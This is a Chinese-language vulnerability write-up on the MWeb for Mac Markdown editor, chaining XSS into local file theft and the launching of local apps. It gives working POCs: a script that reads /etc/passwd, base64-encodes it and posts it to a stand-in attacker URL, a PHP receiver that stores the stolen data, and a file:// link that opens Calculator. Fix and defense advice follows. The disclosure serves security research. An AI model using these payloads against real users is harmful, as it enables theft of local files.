MWeb For Mac 客户端从XSS到任意文件窃取再到伪RCE
字数 1074 2025-08-29 08:32:00
MWeb For Mac 客户端安全漏洞分析:从XSS到文件窃取再到伪RCE
漏洞概述
MWeb For Mac 客户端存在一系列安全漏洞,攻击链如下:
- 跨站脚本(XSS)漏洞
- 利用XSS实现任意文件读取
- 进一步实现伪远程代码执行(RCE)
漏洞分析
1. XSS漏洞
漏洞原理:
- MWeb使用了KHTML引擎渲染HTML内容
- 该引擎未对JavaScript执行做充分限制
- 攻击者可以通过插入恶意脚本标签实现XSS
POC:
<script src="//XssStage/ip.js"></script>
特点:
- 常规的
alert()可能被限制,但其他JS功能仍可执行 - 所有HTML标签均可执行
2. 文件窃取漏洞
利用方式:
通过XSS执行JavaScript读取本地文件并外传
完整利用代码:
<script>
// 包含BASE64编码函数库
(function() {
var BASE64_MAPPING = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'];
// 省略BASE64编码相关函数...
window.BASE64 = __BASE64;
})();
// 创建XMLHttpRequest对象
function createXHR() {
if (typeof XMLHttpRequest != 'undefined') {
return new XMLHttpRequest();
} else if (typeof ActiveXObject != 'undefined') {
// 省略兼容IE的代码...
} else {
throw new Error('No XHR Object available');
}
}
// 发送POST请求函数
function post(URL, PARAMS) {
var temp = document.createElement("form");
temp.action = URL;
temp.method = "post";
temp.style.display = "none";
for (var x in PARAMS) {
var opt = document.createElement("textarea");
opt.name = x;
opt.value = PARAMS[x];
temp.appendChild(opt);
}
document.body.appendChild(temp);
temp.submit();
return temp;
}
// 发送GET请求函数
function sendGetRequest(url, callback) {
var xhr = createXHR();
xhr.open('GET', url, false);
xhr.send();
callback(xhr.responseText);
}
// 读取/etc/passwd文件并发送到攻击者服务器
sendGetRequest('file:///etc/passwd', function(response) {
var text = BASE64.encoder(response);
post('https://www.test.com/mweb/file.php', {file:text});
});
</script>
接收端PHP代码:
<?php
$data = base64_decode($_POST["file"]);
$file = fopen("file.txt",'a');
fwrite($file,$data);
fclose($file);
?>
3. 伪RCE实现
利用原理:
通过file协议直接调用本地应用程序
POC代码:
<a href="file:///Applications/Calculator.app" onclick="closewin();" id="alink">
<input id="btn" onclick="test()"> </input>
<script>
document.getElementById("alink").click();
</script>
效果:
- 可启动计算器等本地应用
- 在Windows平台可结合js执行cmd实现更彻底的RCE
漏洞修复建议
-
禁用所有JS脚本执行:
- 这是最直接的解决方案
- 对于Markdown编辑器,JS功能通常不是必须的
-
实现安全的HTML标签过滤:
- 仅允许有限的HTML标签
- 彻底过滤script等危险标签和属性
-
内容安全策略(CSP):
- 实施严格的内容安全策略
- 限制外部资源加载
-
输入输出编码:
- 对所有用户输入进行适当的编码
- 输出时进行HTML实体编码
漏洞影响
-
信息泄露:
- 可读取系统任意文件
- 包括敏感配置文件、密码文件等
-
系统安全威胁:
- 可执行本地应用程序
- 在特定条件下可能实现完全RCE
-
持久性攻击:
- 攻击代码可保存在文档中
- 每次打开文档都会执行
技术总结
-
漏洞根源:
- 过度信任用户输入
- 未对Markdown中的HTML/JS内容进行充分过滤
- 使用了存在安全隐患的KHTML引擎
-
攻击链演进:
XSS → 文件读取 → 伪RCE -
同类风险:
- 其他使用类似渲染引擎的Markdown编辑器可能也存在相同问题
- Windows平台的编辑器风险更高,可能实现完整RCE
防御措施开发建议
-
白名单机制:
- 仅允许安全的HTML标签和属性
- 彻底禁止JavaScript执行
-
沙箱环境:
- 在沙箱中渲染不受信任的内容
- 限制文件系统访问
-
用户提示:
- 对包含HTML/JS的内容进行安全警告
- 提供"安全模式"选项
-
持续更新:
- 及时更新使用的渲染引擎
- 跟踪相关安全公告
附录:完整POC文件
所有利用代码已打包在附件"MWeb For Mac 客户端 XSS 到任意文件窃取.zip"中,仅供安全研究使用。